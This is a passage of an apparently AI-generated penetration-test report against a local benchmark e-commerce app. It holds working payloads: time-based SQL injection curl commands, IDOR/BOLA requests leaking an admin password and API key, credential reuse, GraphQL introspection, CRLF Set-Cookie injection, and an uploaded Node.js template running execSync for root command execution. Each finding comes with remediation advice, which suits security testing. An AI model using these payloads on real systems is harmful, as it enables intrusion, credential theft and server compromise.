ATTACK
+ GET http://localhost:3000/admin/search-users → 200
+ body (367 bytes, excerpt):
+ As customer nrsplt_6a7d9f62 (role=customer): GET /admin -> 200 'Admin Panel ... Broken Access Control confirmed: role "customer" reached the admin panel via forced browsing. Flag: BURPAT{web_bac_admin_panel_1a5cbe65}' listing all 56 users with emails/roles/balances (admin $500000, alice $999999). GET /admin/search-users -> 200. evidence/bac-admin-panel-customer.png
+
+AGENT-RECORDED EVIDENCE
+As customer nrsplt_6a7d9f62 (role=customer): GET /admin -> 200 'Admin Panel ... Broken Access Control confirmed: role "customer" reached the admin panel via forced browsing. Flag: BURPAT{web_bac_admin_panel_1a5cbe65}' listing all 56 users with emails/roles/balances (admin $500000, alice $999999). GET /admin/search-users -> 200. evidence/bac-admin-panel-customer.png
| Criticality | High | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.38 |
| Location | POST http://localhost:3000/support/feedback | ||
| Agent | api_bola_numeric_ids | ||
POST http://localhost:3000/support/feedback — Body form field `comment`; string context. Engine supports SLEEP()/pg_sleep() (MySQL/Postgres-style), sqlite randomblob has no effect.
Attacker controls query execution time via injected SQL, enabling boolean/time-based blind extraction of arbitrary DB data (a full data-exfiltration primitive) without authentication. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Use parameterised statements for the feedback insert/query; do not concatenate `comment` into SQL. Add a WAF/timeout as defense-in-depth only.
curl -s -o /dev/null -w '%{time_total}\n' --data-urlencode 'comment=safe' http://localhost:3000/support/feedback # ~0.0008scurl -s -o /dev/null -w '%{time_total}\n' --data-urlencode "comment=x' AND SLEEP(1)-- -" http://localhost:3000/support/feedback # ~1.00scurl -s -o /dev/null -w '%{time_total}\n' --data-urlencode "comment=x' AND SLEEP(4)-- -" http://localhost:3000/support/feedback # ~4.01scomment=x' AND SLEEP(n)-- -
ATTACK + POST http://localhost:3000/support/feedback → 200 + body (338 bytes, excerpt): + Baseline comment=safe -> 0.0008s. comment=x' AND SLEEP(1)-- - -> 1.003s (x2). comment=x' AND SLEEP(4)-- - -> 4.01s. comment=x' AND SLEEP(3)-- - and '; SELECT pg_sleep(3)-- ->3.00s. Dose-response linear; sqlite randomblob(9e8) payload = 0.001s (no effect) confirming it is SLEEP() executing, not accidental load. pocs/sqli_time_feedback.sh + +AGENT-RECORDED EVIDENCE +Baseline comment=safe -> 0.0008s. comment=x' AND SLEEP(1)-- - -> 1.003s (x2). comment=x' AND SLEEP(4)-- - -> 4.01s. comment=x' AND SLEEP(3)-- - and '; SELECT pg_sleep(3)-- ->3.00s. Dose-response linear; sqlite randomblob(9e8) payload = 0.001s (no effect) confirming it is SLEEP() executing, not accidental load. pocs/sqli_time_feedback.sh
The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/api/v2/users/1 | ||
| Agent | chain | ||
GET http://localhost:3000/api/v2/users/1
Observed: +- attack GET http://localhost:3000/api/v2/users/1 → 200 (439 bytes) [E01] +- Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.sh [E02] + +Not demonstrated: Any authenticated customer harvests every user's plaintext password and live API key -> full admin account takeover and mass credential compromise. Demonstrated: admin credential + apiKey read by a low-priv token. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). +The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. + +Potential impact: Any authenticated customer harvests every user's plaintext password and live API key -> full admin account takeover and mass credential compromise. Demonstrated: admin credential + apiKey read by a low-priv token. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Enforce that the JWT subject == :id (or an admin role) before returning; never serialize password/apiKey to any client response.
Send the request carrying the payload: +curl -i -s \ + 'http://localhost:3000/api/v2/users/1'
Payload used: +Authorization: Bearer <customer JWT id=61> ; GET /api/v2/users/1
Authorization: Bearer <customer JWT id=61> ; GET /api/v2/users/1
ATTACK
+ GET http://localhost:3000/api/v2/users/1 → 200
+ body (439 bytes, excerpt):
+ Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.sh
+
+AGENT-RECORDED EVIDENCE
+Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.shThe steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-522 | Confidence | 1/1 · refute 1/2 · conf 0.22 |
| Location | http://localhost:3000/login -> /admin | ||
| Agent | chain | ||
http://localhost:3000/login -> /admin
Observed: +- attack GET /admin → 200 (232 bytes) [E01] +- Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session. [E02] + +Not demonstrated: Full admin takeover of the application. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. +The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. + +Potential impact: Full admin takeover of the application. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Rotate credentials, store hashed passwords, remove secret exposure sinks (BOLA, SQLi).
Send the request carrying the payload: +curl -i -s \ + '/admin'
Payload used: +username=admin&password=SuperSecretAdmin!2024
username=admin&password=SuperSecretAdmin!2024
ATTACK + GET /admin → 200 + body (232 bytes, excerpt): + Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session. + +AGENT-RECORDED EVIDENCE +Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-522 | Confidence | 1/1 · refute 1/2 · conf 0.06 |
| Location | POST http://localhost:3000/login , GET /admin | ||
| Agent | chain | ||
POST http://localhost:3000/login , GET /admin
Observed: +- attack POST /admin → 200 (194 bytes) [E01] +- Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session. [E02] + +Not demonstrated: Complete vertical privilege escalation to administrator from a self-registered customer. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. + +Potential impact: Complete vertical privilege escalation to administrator from a self-registered customer. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Fix BOLA/data exposure; rotate admin credential; enforce strong secrets + MFA on admin.
Send the request carrying the payload: +curl -i -s -X POST \ + --data-raw 'username=admin&password=SuperSecretAdmin!2024' \ + '/admin'
Payload used: +username=admin&password=SuperSecretAdmin!2024
username=admin&password=SuperSecretAdmin!2024
ATTACK + POST /admin → 200 + body (194 bytes, excerpt): + Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session. + +AGENT-RECORDED EVIDENCE +Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-285 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.49 |
| Location | POST http://localhost:3000/api/graphql | ||
| Agent | chain | ||
POST http://localhost:3000/api/graphql
Observed: +- attack POST http://localhost:3000/api/graphql → 200 (468 bytes) [E01] +- Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password. [E02] + +Not demonstrated: Second unauthenticated-of-role path to full credential disclosure; impersonateUser mutation is a likely account-takeover primitive. proven for read; impersonate=lead. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). +The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. + +Potential impact: Second unauthenticated-of-role path to full credential disclosure; impersonateUser mutation is a likely account-takeover primitive. proven for read; impersonate=lead. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Disable introspection in prod; enforce field/object authorization in resolvers; gate impersonateUser to admin.
Send the request carrying the payload:
+curl -i -s -X POST \
+ --data-raw '{user(id:1){username role password apiKey}} (introspection: {__schema{types{name}}})' \
+ 'http://localhost:3000/api/graphql'Payload used:
+{user(id:1){username role password apiKey}} (introspection: {__schema{types{name}}}){user(id:1){username role password apiKey}} (introspection: {__schema{types{name}}})ATTACK
+ POST http://localhost:3000/api/graphql → 200
+ body (468 bytes, excerpt):
+ Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password.
+
+AGENT-RECORDED EVIDENCE
+Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password.The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design · CWE-89 (candidate, unconfirmed) / CWE-400 (uncontrolled resource consumption, potential) | Confidence | 0/1 · receipt_missing · conf 0.05 |
| Location | POST http://localhost:3000/support/feedback | ||
| Agent | sqli_time | ||
POST http://localhost:3000/support/feedback — POST /support/feedback, application/x-www-form-urlencoded body field `comment`
Observed: +- attack POST http://localhost:3000/support/feedback → 200 (760 bytes) [E01] +- Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.' [E02] + +Not demonstrated: MEASURED: an unauthenticated request can force a server-side processing delay proportional to N seconds by including a SLEEP(N)/pg_sleep(N) token in `comment`; each request holds a worker for N seconds (verified up to 6s). Repeated concurrent requests could tie up request workers (availability/DoS-amplification lead — NOT load-tested here per non-DoS scope). NOT demonstrated: any SQL query execution, boolean/conditional differential, or data extraction — the FALSE-condition control delayed identically, so blind extraction is not possible against this behavior. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited). +The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one. + +Potential impact: MEASURED: an unauthenticated request can force a server-side processing delay proportional to N seconds by including a SLEEP(N)/pg_sleep(N) token in `comment`; each request holds a worker for N seconds (verified up to 6s). Repeated concurrent requests could tie up request workers (availability/DoS-amplification lead — NOT load-tested here per non-DoS scope). NOT demonstrated: any SQL query execution, boolean/conditional differential, or data extraction — the FALSE-condition control delayed identically, so blind extraction is not possible against this behavior. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
If a SQL query does incorporate `comment`, use parameterised queries/prepared statements so input can never reach the SQL parser. Independently, remove any test/benchmark sleep-simulation code path that honours a SLEEP()/pg_sleep() token in user input before shipping outside the QA build, and cap/timeout request processing time so a single request cannot hold a worker for arbitrary seconds.
curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode 'comment=just a normal comment' http://localhost:3000/support/feedback # baseline ~0.001scurl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode 'comment=SLEEP(3)' http://localhost:3000/support/feedback # ~3.0s, no SQL syntax neededcurl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND IF(1=1,SLEEP(4),0)-- -" http://localhost:3000/support/feedback # ~4.0s (TRUE)curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND IF(1=2,SLEEP(4),0)-- -" http://localhost:3000/support/feedback # STILL ~4.0s (FALSE) => not boolean-gated => not real blind SQLicurl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND WAITFOR DELAY '0:0:3'-- -" http://localhost:3000/support/feedback # ~0.001s, only SLEEP/pg_sleep token matchedbash /opt/neurosploit-rs/runs/ns-1789919119-localhost_3000/pocs/feedback_sleep_delay.sh # runs the full matrix
comment=SLEEP(3) (also: comment=hello SLEEP(3) world ; comment=test' AND pg_sleep(5)-- - ; comment=test' AND IF(1=2,SLEEP(4),0)-- -)
ATTACK + POST http://localhost:3000/support/feedback → 200 + body (760 bytes, excerpt): + Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.' + +AGENT-RECORDED EVIDENCE +Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.'
The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-94 | Confidence | 0/1 · receipt_missing · conf 0.12 |
| Location | http://localhost:3000/support/reports/upload | ||
| Agent | chain | ||
http://localhost:3000/support/reports/upload
Observed: +- attack GET http://localhost:3000/support/reports/upload → 200 (276 bytes) [E01] +- pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above. [E02] + +Not demonstrated: Arbitrary command execution as root on the host = full server compromise. Chain: BOLA/SQLi -> admin pw -> admin -> RCE root. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. +The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one. + +Potential impact: Arbitrary command execution as root on the host = full server compromise. Chain: BOLA/SQLi -> admin pw -> admin -> RCE root. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Never eval/require user-uploaded templates; sandbox report formatting; drop root privileges.
Send the request carrying the payload: +curl -i -s \ + 'http://localhost:3000/support/reports/upload'
Payload used:
+multipart .js: module.exports=function(){return require('child_process').execSync('id')} -> run?file=tpl.jsmultipart .js: module.exports=function(){return require('child_process').execSync('id')} -> run?file=tpl.jsATTACK
+ GET http://localhost:3000/support/reports/upload → 200
+ body (276 bytes, excerpt):
+ pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above.
+
+AGENT-RECORDED EVIDENCE
+pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above.The steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-522 | Confidence | 1/1 · refute 0/2 · conf 0.33 |
| Location | POST http://localhost:3000/login -> GET /admin | ||
| Agent | chain | ||
POST http://localhost:3000/login -> GET /admin
Observed: +- attack POST /admin → 200 (343 bytes) [E01] +- POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table. [E02] + +Not demonstrated: Complete vertical privesc from anonymous->customer->admin; full tenant/user data control. proven. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. + +Potential impact: Complete vertical privesc from anonymous->customer->admin; full tenant/user data control. proven. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Fix NS-01 (stop leaking passwords); store passwords hashed (bcrypt/argon2) so a leak is not directly reusable; rotate all exposed credentials.
Send the request carrying the payload: +curl -i -s -X POST \ + --data-raw 'login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)' \ + '/admin'
Payload used: +login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)
login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)
ATTACK + POST /admin → 200 + body (343 bytes, excerpt): + POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table. + +AGENT-RECORDED EVIDENCE +POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table.
The steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.34 |
| Location | GET http://localhost:3000/account/invoice/1001 | ||
| Agent | chain | ||
GET http://localhost:3000/account/invoice/1001
Observed: +- attack GET http://localhost:3000/account/invoice/1001 → 200 (247 bytes) [E01] +- Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.sh [E02] + +Not demonstrated: Sequential id enumeration exposes all customers' billing records (owner, amounts). PII/financial cross-tenant disclosure demonstrated. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. + +Potential impact: Sequential id enumeration exposes all customers' billing records (owner, amounts). PII/financial cross-tenant disclosure demonstrated. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Scope invoice lookup to the authenticated user id; return 403/404 for non-owned invoices.
Send the request carrying the payload: +curl -i -s \ + 'http://localhost:3000/account/invoice/1001'
Payload used:
+cookie: nimbus.sid=<customer id=61>; GET /account/invoice/{1001,1002,1003}cookie: nimbus.sid=<customer id=61>; GET /account/invoice/{1001,1002,1003}ATTACK
+ GET http://localhost:3000/account/invoice/1001 → 200
+ body (247 bytes, excerpt):
+ Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.sh
+
+AGENT-RECORDED EVIDENCE
+Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.shThe steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-93 | Confidence | 1/1 · conf 0.37 |
| Location | http://localhost:3000/go | ||
| Agent | crlf_injection | ||
http://localhost:3000/go — GET /go, query parameter `url` — value copied raw into the Location response header
Observed: +- GET /go?url=https://ex.com -> 302, Location: https://ex.com, no X-Injected header [E01] +- GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621 -> 302 with response header line X-Injected:nrsplt6621 [E02] +- GET /go?url=...%0D%0ASet-Cookie:evil=1 -> 302 with response header Set-Cookie:evil=1 [E03] +- attack repeated 2x, identical injected header both times [E04] + +Not demonstrated: Session fixation / redirect cache-poisoning via injected Set-Cookie. + +Potential impact: Injected Set-Cookie enables session fixation; injected headers enable cache poisoning of the redirect response. Not exploited end-to-end.
Reject or strip CR (\r, %0d) and LF (\n, %0a) from the `url` parameter before writing it to the Location header; validate the redirect target against an allowlist of scheme+host and URL-encode residual control characters. Do not pass user input unmodified to res.redirect()/res.setHeader().
curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com' # baseline: Location: https://ex.com, no X-Injected
curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com%0D%0AX-Injected:nrsplt6621' # attack: X-Injected:nrsplt6621 appears as a response header
curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1' # also injects attacker Set-Cookie
Read the response header block: injected lines appear after Location/X-Nimbus-Redirect
url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1
ATTACK + GET http://localhost:3000/go → 200 + body (459 bytes, excerpt): + BASELINE `GET /go?url=https://ex.com` -> HTTP/1.1 302, `Location: https://ex.com`, no X-Injected. ATTACK `GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1` -> HTTP/1.1 302 with the decoded CR-LF splitting the header block, producing NEW real response header lines: `X-Injected:nrsplt6621` and `Set-Cookie:evil=1`. Marker appears in response HEADERS, not body. Reproduced 2x identically; baseline negative control has no X-Injected. + +AGENT-RECORDED EVIDENCE +BASELINE `GET /go?url=https://ex.com` -> HTTP/1.1 302, `Location: https://ex.com`, no X-Injected. ATTACK `GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1` -> HTTP/1.1 302 with the decoded CR-LF splitting the header block, producing NEW real response header lines: `X-Injected:nrsplt6621` and `Set-Cookie:evil=1`. Marker appears in response HEADERS, not body. Reproduced 2x identically; baseline negative control has no X-Injected.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design · CWE-615 | Confidence | 0/1 · receipt_missing · conf 0.41 |
| Location | http://localhost:3000/app.js | ||
| Agent | chain | ||
http://localhost:3000/app.js
Observed: +- attack GET http://localhost:3000/app.js → 200 (155 bytes) [E01] +- window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471). [E02] + +Not demonstrated: Leaked internal token reusable against support tooling; info disclosure aiding further compromise. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. + +Potential impact: Leaked internal token reusable against support tooling; info disclosure aiding further compromise. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Remove secrets from client bundle; rotate token.
Send the request carrying the payload: +curl -i -s \ + 'http://localhost:3000/app.js'
Payload used: +GET /app.js
GET /app.js
ATTACK
+ GET http://localhost:3000/app.js → 200
+ body (155 bytes, excerpt):
+ window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471).
+
+AGENT-RECORDED EVIDENCE
+window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471).| Criticality | Info | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design | Confidence | conf 0.05 |
| Location | http://localhost:3000 | ||
| Agent | account_registration_and_forms | Auth context | n/a · 7 test account(s) |
http://localhost:3000
Observed: +- attack GET http://localhost:3000 → 200 (924 bytes) [E01] +- 7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E02] +- • nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password [E03] +- • nrsplt_b7558@example.test [customer] — created via curl POST username/email/password [E04] +- • nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign) [E05] +- • poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral) [E06] +- • nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded [E07] +- • nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run) [E08] +- • nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /login [E09] + +Not demonstrated: Operational cleanup: remove these accounts once testing is complete. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. + +Potential impact: Operational cleanup: remove these accounts once testing is complete. + +Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Delete the listed test accounts; rotate anything they touched.
Send the request carrying the payload: +curl -i -s \ + 'http://localhost:3000'
